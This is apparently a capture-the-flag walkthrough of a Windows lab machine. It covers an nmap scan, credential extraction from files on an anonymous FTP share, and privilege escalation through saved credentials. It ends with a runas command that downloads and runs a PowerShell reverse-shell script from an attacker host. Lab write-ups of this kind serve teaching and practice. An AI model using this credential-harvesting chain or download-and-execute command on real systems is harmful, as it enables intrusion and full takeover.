Access

```
└─$ cat nmap/init.nmap
# Nmap 7.94 scan initiated Tue Sep 12 20:28:05 2023 as: nmap -sC -sV -oN nmap/init.nmap 10.10.10.98
Nmap scan report for 10.10.10.98
Host is up (0.085s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 12 20:31:12 2023 -- 1 IP address (1 host up) scanned in 186.14 seconds
```

Foothold

Logging into ftp as anonymous, we find 2 files:

- backup.mdb
  → This is a Microsoft Access Database, and we can examine it using mdb-tools
  → mdb-tables <file> lists tables, mdb-export <file> <table> shows contents

  → creds found:
  admin:admin
  engineer:access4u@security
  backup_admin:admin

- Access Control.zip
  → Using standard unzip fails, so let's use 7z
  → It is password protected, but we got it from the “Engineer” folder and we have engineer's password

  → Contains Access Control.pst file, which is a Microsoft Outlook Personal Storage
  → This can be examined with readpst
  → Shows a Access Control.mbox file, which contains creds in an email

  → creds found:
  ⇒ security:4Cc3ssC0ntr0ller

Priv Esc

Using the creds we found, we can telnet login as security.

We can then use a nishang shell to get a better shell

Then, query for stored passwords with:
cmdkey /list

We see that ACCESS\Administrator has a stored password, so we can abuse that to run elevated commands

runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.WebClient).downloadString('http://10.10.14.3/shell.ps1')"

-> Now we have a reverse shell as ACCESS\Administrator